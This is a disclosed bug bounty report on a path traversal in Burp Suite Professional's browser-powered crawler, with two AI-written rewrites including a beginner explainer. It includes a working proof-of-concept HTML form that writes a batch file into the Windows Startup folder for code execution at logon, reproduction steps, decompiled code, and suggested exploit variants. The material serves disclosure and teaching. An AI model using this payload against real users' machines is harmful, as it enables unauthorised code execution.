Skip to content
Path traversal Disclosed report Intermediate

Burp Suite Professional: browser-powered crawl can write attacker-controlled files through file input handling

Burp Suite's browser-powered crawler creates a local upload file from page-controlled file input attributes, but fails to prevent path traversal in the generated filename. An attacker's website can force Burp to write an attacker-controlled file to an arbitrary user-writable location, such as the Windows Startup folder, leading to delayed code execution.

kawakatz Follow

Originally disclosed on HackerOne

Bounty$5,000 High View original
  • Triaged in 3 days
  • Fixed in 11 days
  • Paid in 11 days
  • Disclosed after 41 days

Target

Burp Suite Professional 2026.3.3 on Windows.

Summary

When Burp Scanner's browser-powered crawler crawls an attacker's website, the website can force Burp to write an attacker-controlled file to an attacker-controlled local path. For example, the PoC writes calc.exe into the current user's Startup folder, which triggers command execution when the user next logs in.

The issue is caused by Burp's handling of <input type="file">: Burp creates a local upload file from page-controlled attributes, but does not prevent path traversal in the generated filename.

Steps To Reproduce

  1. Serve the following HTML from an attacker-controlled website:
HTML
<!doctype html>
<html>
  <body>
    <form action="/upload" method="post" enctype="multipart/form-data">
      <input
        type="file"
        name="upload"
        value="calc.exe"
        accept="./../../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup/burp_calc.bat">
      <button type="submit">Upload</button>
    </form>
  </body>
</html>

In my local reproduction, I served this file as:

PowerShell
python -m http.server 8000
Text
http://192.168.186.149:8000/poc_file_input_write_startup_calc.html
  1. In Burp Suite Professional, start a new crawl:
Text
Dashboard -> New scan -> Crawl
URLs to scan -> http://192.168.186.149:8000/poc_file_input_write_startup_calc.html

// to make it clear
Scan configuration -> Deep -> Crawl configuration -> Browser behaviour -> Always use Burps' browser
  1. Start the crawl.

  2. After the crawl processes the page, check the current user's Startup folder:

Text
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\burp_calc.bat

Observed result:

Text
calc.exe
  1. Log out and log in again. calc.exe is executed from the Startup folder.

Root Cause

The root cause is that Burp treats untrusted web page attributes as safe local file metadata.

The following snippets are from the decompiled Burp code, but I have renamed the obfuscated class, method, and variable names for readability. The logic is unchanged.

When the crawler interacts with a form, it detects file inputs and calls the file-input preparation code:

Java
for (FormInput input : discoveredInputs) {
    if (input.type() == InputType.FILE) {
        prepareFileInput(input);
        continue;
    }

    fillNormalInput(input);
}

The file-input preparation code creates a local file, writes the page-controlled input value into it, then selects that file in the browser:

Java
private static void prepareFileInput(FormInput input) throws IOException {
    if (isBlank(input.inputValue())) {
        return;
    }

    File uploadFile = buildTemporaryUploadFile(input);
    Files.write(uploadFile.toPath(), bytes(input.inputValue()));

    BrowserFileInput browserFileInput = input.browserElement().fileInput();
    browserFileInput.selectFile(uploadFile.toPath());
}

The local file path is built by creating a temporary directory and resolving the derived filename beneath it:

Java
private static File buildTemporaryUploadFile(FormInput input) throws IOException {
    String filename = input.deriveFileNameFromFileInput().orElse("file");
    Path tempDirectory = Files.createTempDirectory("burp");
    return tempDirectory.resolve(filename).toFile();
}

The unsafe filename comes from the file input's accept attribute. Burp accepts any token beginning with . as an extension:

Java
private Optional<FileName> deriveFileNameFromFileInput() {
    if (input.type() != InputType.FILE) {
        return Optional.empty();
    }

    String accept = input.attribute("accept");
    for (String token : accept.split(",")) {
        if (token.startsWith(".")) {
            fileNameBuilder.addExtension(token);
        }
    }

    return Optional.of(fileNameBuilder.build());
}

As a result, Path.resolve(filename) is used with attacker-controlled path traversal content.

Recommended Fix

Burp should not use page-controlled file input metadata directly as a local filesystem path.

At minimum, the filename used for temporary upload files should be generated or sanitized so that a web page cannot introduce path separators, traversal sequences, or any value that escapes Burp's intended temporary directory.

Impact

A website accessed through Burp Scanner can write attacker-controlled text files to arbitrary user-writable locations where the parent directory already exists.

On Windows, this can be used to write a .bat file to the current user's Startup folder. That file runs when the user next logs in, giving delayed code execution.

This matches the High severity example in the bounty guidelines:

Text
A website accessed through Burp Suite can make Burp execute arbitrary code

The guidelines also state:

Text
Websites accessed through Burp are untrusted, so anything a website could do to read files of the user's computer, read data out of Burp Suite, or gain remote code execution would be considered a vulnerability.

The original report as published on HackerOne, by kawakatz. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

Burp Suite Professional is PortSwigger's web security testing platform. Among its components is Burp Scanner, which can crawl a target site and then audit it. The crawler has a browser-powered mode: instead of only parsing HTML, it drives a real browser, fills in forms and submits them, so that JavaScript-heavy applications are exercised the way a user would exercise them.

Filling in a form means dealing with every kind of input, including <input type="file">. A browser will not let a page choose which local file is uploaded, so the crawler has to do it: it creates a local file of its own, writes something into it, and hands that file to the browser's file input. That is the feature at the centre of this report. The target version is Burp Suite Professional 2026.3.3 on Windows.

The problem is that the content and the name of that local file are derived from attributes the crawled page controls, and the resulting path is not confined to the directory Burp intended.

Setup

No account on the target application is involved. The preconditions are:

  1. Burp Suite Professional 2026.3.3 running on Windows.
  2. A crawl configured to use Burp's browser, so that the browser-powered crawler processes forms.
  3. An attacker-controlled website reachable from the machine running Burp, serving a page with a crafted file input.

For the local reproduction the researcher served the page with Python's built-in HTTP server on port 8000 and pointed the crawl at it.

Finding it

When the browser-powered crawler encounters a form, it detects file inputs and prepares them before submitting. The preparation creates a temporary file, writes the input's value into it, and selects it in the browser. The filename is not fixed: it is derived from the file input's accept attribute, and any comma-separated token that begins with . is taken as an extension and appended to the generated name.

Because that derived name is then resolved against a temporary directory with Path.resolve, a token containing path separators and .. sequences is not treated as an extension at all. It is treated as a relative path, and it escapes the temporary directory. The page therefore controls both the bytes written and the location they are written to, within any directory the Burp user can write to and whose parent already exists.

Exploitation

Step 1: serve the malicious page

The researcher served the following HTML from an attacker-controlled website:

HTML
<!doctype html>
<html>
  <body>
    <form action="/upload" method="post" enctype="multipart/form-data">
      <input
        type="file"
        name="upload"
        value="calc.exe"
        accept="./../../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup/burp_calc.bat">
      <button type="submit">Upload</button>
    </form>
  </body>
</html>

The form posts multipart data to /upload. The two interesting attributes are on the file input:

  • value="calc.exe" is the content Burp will write into the file it creates.
  • accept holds a single token that starts with ., so Burp accepts it as an extension. The token is actually a traversal path: ./../../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup/burp_calc.bat. Resolved beneath Burp's temporary directory, it climbs out and lands in the current user's Startup folder, with the filename burp_calc.bat.

In the local reproduction the file was served with:

PowerShell
python -m http.server 8000

and reached at:

Text
http://[redacted]:8000/poc_file_input_write_startup_calc.html

Step 2: start a crawl in Burp

In Burp Suite Professional, a new crawl is started from the Dashboard:

Text
Dashboard -> New scan -> Crawl
URLs to scan -> http://[redacted]:8000/poc_file_input_write_startup_calc.html

// to make it clear
Scan configuration -> Deep -> Crawl configuration -> Browser behaviour -> Always use Burps' browser

The last line matters: the crawl must use Burp's browser, because only the browser-powered crawler fills in file inputs this way.

Step 3: start the crawl

The crawl is launched and processes the page. No further interaction is needed; the form is discovered and the file input is prepared automatically.

Step 4: check the Startup folder

After the crawl processes the page, the researcher checked the current user's Startup folder:

Text
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\burp_calc.bat

The observed content of the file was:

Text
calc.exe

That is exactly the value attribute of the file input, written to the path chosen by the accept attribute.

Step 5: log out and log in again

On the next logon, Windows runs the contents of the Startup folder. calc.exe is executed, demonstrating code execution that is delayed until the user next logs in.

Root cause

The root cause is that Burp treats untrusted web page attributes as safe local file metadata. The researcher decompiled Burp and renamed the obfuscated class, method and variable names for readability, keeping the logic unchanged.

When the crawler interacts with a form, it detects file inputs and calls the file-input preparation code:

Java
for (FormInput input : discoveredInputs) {
    if (input.type() == InputType.FILE) {
        prepareFileInput(input);
        continue;
    }

    fillNormalInput(input);
}

The preparation code creates a local file, writes the page-controlled input value into it, then selects that file in the browser:

Java
private static void prepareFileInput(FormInput input) throws IOException {
    if (isBlank(input.inputValue())) {
        return;
    }

    File uploadFile = buildTemporaryUploadFile(input);
    Files.write(uploadFile.toPath(), bytes(input.inputValue()));

    BrowserFileInput browserFileInput = input.browserElement().fileInput();
    browserFileInput.selectFile(uploadFile.toPath());
}

The local file path is built by creating a temporary directory and resolving the derived filename beneath it:

Java
private static File buildTemporaryUploadFile(FormInput input) throws IOException {
    String filename = input.deriveFileNameFromFileInput().orElse("file");
    Path tempDirectory = Files.createTempDirectory("burp");
    return tempDirectory.resolve(filename).toFile();
}

The unsafe filename comes from the file input's accept attribute. Burp accepts any token beginning with . as an extension:

Java
private Optional<FileName> deriveFileNameFromFileInput() {
    if (input.type() != InputType.FILE) {
        return Optional.empty();
    }

    String accept = input.attribute("accept");
    for (String token : accept.split(",")) {
        if (token.startsWith(".")) {
            fileNameBuilder.addExtension(token);
        }
    }

    return Optional.of(fileNameBuilder.build());
}

The check token.startsWith(".") is meant to recognise extensions such as .png or .pdf. It also matches ./../../.., so the traversal string is accepted and appended as if it were an extension. Path.resolve(filename) is then used with attacker-controlled path traversal content, and the result is no longer inside the temporary directory. The write itself succeeds because the target directory already exists and is writable by the user running Burp.

Impact

A website accessed through Burp Scanner can write attacker-controlled text files to arbitrary user-writable locations where the parent directory already exists. The content is limited to what the page puts in the input's value, and the destination must already exist as a directory.

On Windows, this can be used to write a .bat file to the current user's Startup folder. That file runs when the user next logs in, giving delayed code execution. The researcher notes that this matches the High severity example in the bounty guidelines:

Text
A website accessed through Burp Suite can make Burp execute arbitrary code

The guidelines also state:

Text
Websites accessed through Burp are untrusted, so anything a website could do to read files of the user's computer, read data out of Burp Suite, or gain remote code execution would be considered a vulnerability.

The attack requires the user to crawl the attacker's site with the browser-powered crawler, and the code execution is delayed until the next logon. The report was rated High severity and paid a 5,000 USD bounty.

Fix

Burp should not use page-controlled file input metadata directly as a local filesystem path. At minimum, the filename used for temporary upload files should be generated or sanitised so that a web page cannot introduce path separators, traversal sequences, or any value that escapes Burp's intended temporary directory. The report describes the recommended fix; it does not describe a patch that was applied.

Variants to test

  • Other attributes as the filename source. The report shows accept feeding the filename. Any other page-controlled attribute that ends up in a path built with Path.resolve is worth trying with the same ./../../.. token.
  • Other write targets on Windows. The Startup folder is one writable location. Any directory the user can write to whose parent exists is a candidate; the report's own limit is that the parent directory must already exist.
  • Other platforms. The report demonstrates Windows. The same traversal logic on Linux or macOS would land in different user-writable directories, which the report does not enumerate.
  • Content control. The written bytes come from the input's value. A positive result is a file at the chosen path whose content matches the value you supplied.

Hunting notes

This class of bug hides in tooling that has to emulate a browser: crawlers, scanners, headless test runners and anything that fills in forms on behalf of a user. The signal is a feature that creates local files from page-supplied data, especially when a page attribute is used to name or locate that file. When you review such code, look for Path.resolve, File constructors and string concatenation of a directory with a value that came from HTML.

The researcher chose a destination that turns a file write into code execution on the next logon, and quoted the program's bounty guidelines, which treat websites accessed through Burp as untrusted and remote code execution as in scope.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

What happened, in plain words

Burp Suite Professional is a tool made by PortSwigger that security testers use to look for weaknesses in websites. One of its parts, Burp Scanner, can visit a website on its own and explore it, a bit like a very fast, very thorough visitor clicking through every page and filling in every form. This exploring is called crawling.

When the crawler meets a form that asks the visitor to upload a file, it has to do something a normal browser will not do on its own: pick a file from the computer. So Burp creates a small file of its own, puts some content in it, and hands it to the form. The report shows that a malicious website can abuse this helpful behaviour. By putting a carefully crafted value into the form, the website can make Burp write a file to a place of the website's choosing on the tester's computer, not to a safe temporary folder.

In the demonstration, the file that gets written is a small Windows script that launches the Calculator program (calc.exe). It is placed in the current user's Startup folder, a special folder whose contents Windows runs automatically every time that user logs in. So the next time the tester logs in, the Calculator opens by itself. That is harmless, but the same trick could run a command of the attacker's choosing. The report was rated High severity and paid a 5,000 USD bounty.

The underlying mistake is a classic one called path traversal: a program takes a piece of text from an untrusted source and uses it as part of a file path, without checking that the text cannot climb out of the folder it was supposed to stay in. The target version is Burp Suite Professional 2026.3.3 on Windows.

The pieces involved

Before the steps, a few ideas from zero, because the rest of the report leans on them.

  • A crawler is software that visits pages and follows links automatically. Burp's crawler has a special mode where it drives a real browser, so it can run JavaScript and fill in forms the way a person would. Without that mode, it would only read the page's HTML and never touch the file input.
  • A form is the part of a web page with boxes you fill in and a button you press to send the data to the server. Each box is an <input> element. The type attribute says what kind of box it is: text for typing, file for choosing a file from your computer.
  • A file input (<input type="file">) is the box that opens a file picker. For safety, a web page cannot decide which file on your disk gets uploaded; only you can choose. That is exactly why Burp has to step in and create a file itself when it is the one filling the form.
  • An attribute is a setting written inside an HTML tag, such as name="upload" or accept=".png". The page author controls attributes, so anything Burp reads from them is attacker-controlled if the page belongs to an attacker.
  • The accept attribute normally tells the browser which file types are welcome, for example .png,.pdf. It is a hint, not a security boundary.
  • A path is the address of a file on disk, like C:\Users\ana\Documents\notes.txt. A relative path is one that starts from wherever you currently are, and .. means "go up one folder". So ../../ climbs upwards through the folder tree.
  • Path traversal is the trick of putting .. sequences into a value that a program uses as a path, so that the resulting file lands outside the folder the program intended. Think of a hotel clerk told to put your luggage in "room 12"; if the label says "room 12, then up four floors, then the manager's office", a clerk who does not check the label will deliver it to the wrong place.
  • The Startup folder is a Windows folder whose contents are launched automatically at login. Anything placed there runs without the user doing anything, which turns a file write into code execution.

No account on any website is needed for this attack. The preconditions are:

  1. Burp Suite Professional 2026.3.3 running on Windows.
  2. A crawl configured to use Burp's browser, so the browser-powered crawler processes forms.
  3. An attacker-controlled website reachable from the machine running Burp, serving a page with a crafted file input.

For the local reproduction the researcher served the page with Python's built-in HTTP server on port 8000 and pointed the crawl at it.

Finding it

When the browser-powered crawler meets a form, it looks for file inputs and prepares them before submitting. The preparation creates a temporary file, writes the input's value into it, and selects it in the browser. The filename is not fixed: it is derived from the file input's accept attribute, and any comma-separated token that begins with . is taken as an extension and appended to the generated name.

Because that derived name is then resolved against a temporary directory with Path.resolve, a token containing path separators and .. sequences is not treated as an extension at all. It is treated as a relative path, and it escapes the temporary directory. The page therefore controls both the bytes written and the location they are written to, within any directory the Burp user can write to and whose parent already exists.

Exploitation

Step 1: serve the malicious page

The researcher served the following HTML from an attacker-controlled website:

HTML
<!doctype html>
<html>
  <body>
    <form action="/upload" method="post" enctype="multipart/form-data">
      <input
        type="file"
        name="upload"
        value="calc.exe"
        accept="./../../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup/burp_calc.bat">
      <button type="submit">Upload</button>
    </form>
  </body>
</html>

Line by line, in plain words:

  • <!doctype html> tells the browser this is a modern HTML page.
  • <html> and <body> are the usual outer wrappers of any page.
  • <form action="/upload" method="post" enctype="multipart/form-data"> starts a form. action is where the data is sent, method="post" means the data goes in the body of the request rather than the address, and enctype="multipart/form-data" is the format used when a file is part of the submission.
  • <input type="file" name="upload" ...> is the file picker. name="upload" is the label the server will see for this field.
  • value="calc.exe" is the content Burp will write into the file it creates. Normally a browser ignores value on a file input, but Burp reads it directly.
  • accept="./../../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup/burp_calc.bat" is the interesting part. It starts with ., so Burp's check treats it as a file extension. But it is really a path: ./ means "this folder", each ../ climbs up one folder, and the rest names a folder and a file. Resolved beneath Burp's temporary directory, it climbs out and lands in the current user's Startup folder, with the filename burp_calc.bat.
  • <button type="submit">Upload</button> is the button that sends the form.

In the local reproduction the file was served with:

PowerShell
python -m http.server 8000

This starts a tiny web server in the current folder on port 8000, so the page can be reached from a browser or from Burp. The page was reached at:

Text
http://[redacted]:8000/poc_file_input_write_startup_calc.html

That is the address of the page on the researcher's local network.

Step 2: start a crawl in Burp

In Burp Suite Professional, a new crawl is started from the Dashboard:

Text
Dashboard -> New scan -> Crawl
URLs to scan -> http://[redacted]:8000/poc_file_input_write_startup_calc.html

// to make it clear
Scan configuration -> Deep -> Crawl configuration -> Browser behaviour -> Always use Burps' browser

This is a menu path, not code. It says: open the Dashboard, choose New scan, choose Crawl, and give it the address of the malicious page. Then, in the scan configuration, under Deep, Crawl configuration, Browser behaviour, select "Always use Burps' browser". That last setting matters: the crawl must use Burp's browser, because only the browser-powered crawler fills in file inputs this way. A crawler that only reads HTML would never touch the file input.

Step 3: start the crawl

The crawl is launched and processes the page. No further interaction is needed; the form is discovered and the file input is prepared automatically. This is the moment the write happens, without the tester clicking anything on the page.

Step 4: check the Startup folder

After the crawl processes the page, the researcher checked the current user's Startup folder:

Text
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\burp_calc.bat

This is the path where the file appeared. <username> stands for the name of the Windows account running Burp. The observed content of the file was:

Text
calc.exe

That is exactly the value attribute of the file input, written to the path chosen by the accept attribute. In other words, the page chose both what goes into the file and where the file goes.

Step 5: log out and log in again

On the next logon, Windows runs the contents of the Startup folder. calc.exe is executed, demonstrating code execution that is delayed until the user next logs in.

Root cause

The root cause is that Burp treats untrusted web page attributes as safe local file metadata. The researcher decompiled Burp and renamed the obfuscated class, method and variable names for readability, keeping the logic unchanged. Decompiling means turning the compiled program back into readable source code so you can see what it does.

When the crawler interacts with a form, it detects file inputs and calls the file-input preparation code:

Java
for (FormInput input : discoveredInputs) {
    if (input.type() == InputType.FILE) {
        prepareFileInput(input);
        continue;
    }

    fillNormalInput(input);
}

In plain words: go through every input found on the page. If the input is a file input, run the special preparation routine and move on to the next one. Otherwise, fill it in like a normal text box. The continue skips the normal filling for file inputs, because they need special handling.

That preparation code creates a local file, writes the page-controlled input value into it, then selects that file in the browser:

Java
private static void prepareFileInput(FormInput input) throws IOException {
    if (isBlank(input.inputValue())) {
        return;
    }

    File uploadFile = buildTemporaryUploadFile(input);
    Files.write(uploadFile.toPath(), bytes(input.inputValue()));

    BrowserFileInput browserFileInput = input.browserElement().fileInput();
    browserFileInput.selectFile(uploadFile.toPath());
}

Line by line:

  • if (isBlank(input.inputValue())) checks whether the input's value is empty. If it is, there is nothing to write, so the method returns early.
  • File uploadFile = buildTemporaryUploadFile(input); asks a helper to work out where the file should go and what it should be called.
  • Files.write(uploadFile.toPath(), bytes(input.inputValue())); writes the page-supplied value into that file. This is the content the attacker controls.
  • BrowserFileInput browserFileInput = input.browserElement().fileInput(); finds the file input in the real browser Burp is driving.
  • browserFileInput.selectFile(uploadFile.toPath()); tells the browser to use the file Burp just created, so the form can be submitted as if a person had chosen it.

The local file path is built by creating a temporary directory and resolving the derived filename beneath it:

Java
private static File buildTemporaryUploadFile(FormInput input) throws IOException {
    String filename = input.deriveFileNameFromFileInput().orElse("file");
    Path tempDirectory = Files.createTempDirectory("burp");
    return tempDirectory.resolve(filename).toFile();
}

Line by line:

  • String filename = input.deriveFileNameFromFileInput().orElse("file"); asks the input to work out a filename from its attributes, falling back to the literal name file if it cannot.
  • Path tempDirectory = Files.createTempDirectory("burp"); creates a fresh temporary folder whose name starts with burp. This is meant to be a safe, throwaway location.
  • return tempDirectory.resolve(filename).toFile(); joins the temporary folder and the derived filename into one path. resolve is the key: if the filename is a plain name like photo.png, the result is inside the temporary folder. If the filename contains .., resolve treats it as a relative path and the result can point anywhere.

The unsafe filename comes from the file input's accept attribute. Burp accepts any token beginning with . as an extension:

Java
private Optional<FileName> deriveFileNameFromFileInput() {
    if (input.type() != InputType.FILE) {
        return Optional.empty();
    }

    String accept = input.attribute("accept");
    for (String token : accept.split(",")) {
        if (token.startsWith(".")) {
            fileNameBuilder.addExtension(token);
        }
    }

    return Optional.of(fileNameBuilder.build());
}

Line by line:

  • if (input.type() != InputType.FILE) returns nothing if this is not a file input, because only file inputs have this attribute.
  • String accept = input.attribute("accept"); reads the accept attribute straight from the page.
  • for (String token : accept.split(",")) splits the attribute on commas, because accept normally lists several types like .png,.pdf.
  • if (token.startsWith(".")) keeps any token that begins with a dot, on the assumption that it is a file extension.
  • fileNameBuilder.addExtension(token); appends that token to the name being built.
  • return Optional.of(fileNameBuilder.build()); hands back the finished name.

The check token.startsWith(".") is meant to recognise extensions such as .png or .pdf. It also matches ./../../.., so the traversal string is accepted and appended as if it were an extension. Path.resolve(filename) is then used with attacker-controlled path traversal content, and the result is no longer inside the temporary directory. The write itself succeeds because the target directory already exists and is writable by the user running Burp.

Impact

A website accessed through Burp Scanner can write attacker-controlled text files to arbitrary user-writable locations where the parent directory already exists. The content is limited to what the page puts in the input's value, and the destination must already exist as a directory.

On Windows, this can be used to write a .bat file to the current user's Startup folder. That file runs when the user next logs in, giving delayed code execution. The researcher notes that this matches the High severity example in the bounty guidelines:

Text
A website accessed through Burp Suite can make Burp execute arbitrary code

A bounty guideline is the document a bug bounty program publishes to say what counts as a valid finding and how severe it is. The guidelines also state:

Text
Websites accessed through Burp are untrusted, so anything a website could do to read files of the user's computer, read data out of Burp Suite, or gain remote code execution would be considered a vulnerability.

The attack requires the user to crawl the attacker's site with the browser-powered crawler, and the code execution is delayed until the next logon.

Fix

Burp should not use page-controlled file input metadata directly as a local filesystem path. At minimum, the filename used for temporary upload files should be generated or sanitised so that a web page cannot introduce path separators, traversal sequences, or any value that escapes Burp's intended temporary directory. The report describes the recommended fix; it does not describe a patch that was applied.

Variants to test

  • Other attributes as the filename source. The report shows accept feeding the filename. Any other page-controlled attribute that ends up in a path built with Path.resolve is worth trying with the same ./../../.. token.
  • Other write targets on Windows. The Startup folder is one writable location. Any directory the user can write to whose parent exists is a candidate; the report's own limit is that the parent directory must already exist.
  • Other platforms. The report demonstrates Windows. The same traversal logic on Linux or macOS would land in different user-writable directories, which the report does not enumerate.
  • Content control. The written bytes come from the input's value. A positive result is a file at the chosen path whose content matches the value you supplied.

Hunting notes

This class of bug hides in tooling that has to emulate a browser: crawlers, scanners, headless test runners and anything that fills in forms on behalf of a user. The signal is a feature that creates local files from page-supplied data, especially when a page attribute is used to name or locate that file. When you review such code, look for Path.resolve, File constructors and string concatenation of a directory with a value that came from HTML.

The researcher showed enough impact by choosing a destination that turns a file write into code execution on the next logon, and by quoting the program's own bounty guidelines, which explicitly treat websites accessed through Burp as untrusted and remote code execution as in scope. That framing, a concrete path, a concrete payload and a concrete execution trigger, is what made the report land as High severity.

Glossary

  • Attribute: a setting written inside an HTML tag, such as name="upload" or accept=".png"; the page author controls it.
  • Bounty: a reward, usually money, paid by a company to someone who reports a valid security bug in its product.
  • Bounty guidelines: the document a bug bounty program publishes to define what counts as a valid finding and how severe it is.
  • Browser-powered crawler: a crawler that drives a real browser instead of only reading HTML, so it can run JavaScript and fill in forms.
  • Burp Scanner: the part of Burp Suite that explores and audits a website automatically.
  • Burp Suite Professional: PortSwigger's commercial tool for testing the security of websites.
  • Code execution: making a computer run commands or programs that the attacker chose.
  • Crawl: an automated walk through a website, visiting pages and following links.
  • Decompile: turn a compiled program back into readable source code so its logic can be inspected.
  • Extension: the part of a filename after the last dot, such as .png or .pdf, which usually hints at the file type.
  • File input: an HTML form field (<input type="file">) that lets a user choose a file from their computer.
  • Form: the part of a web page with fields and a submit button that sends data to a server.
  • HTML: the language web pages are written in.
  • Multipart form data: the format used to send a form that includes a file.
  • Path: the address of a file or folder on disk.
  • Path traversal: putting .. sequences into a value used as a file path so the result lands outside the intended folder.
  • Relative path: a path that starts from the current folder rather than from the root of the disk.
  • Remote code execution: an attacker making a machine run their code over a network or through a vulnerable program.
  • Sanitise: clean a value so that dangerous characters or sequences cannot do harm.
  • Startup folder: a Windows folder whose contents are launched automatically when a user logs in.
  • Temporary directory: a throwaway folder the operating system or a program uses for short-lived files.
  • Path.resolve: a Java method that joins a base path with another path; if the second contains .., the result can point outside the base.
  • value attribute: the setting on an input that holds its content; on a file input a normal browser ignores it, but Burp reads it.

More from PortSwigger Web Security

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.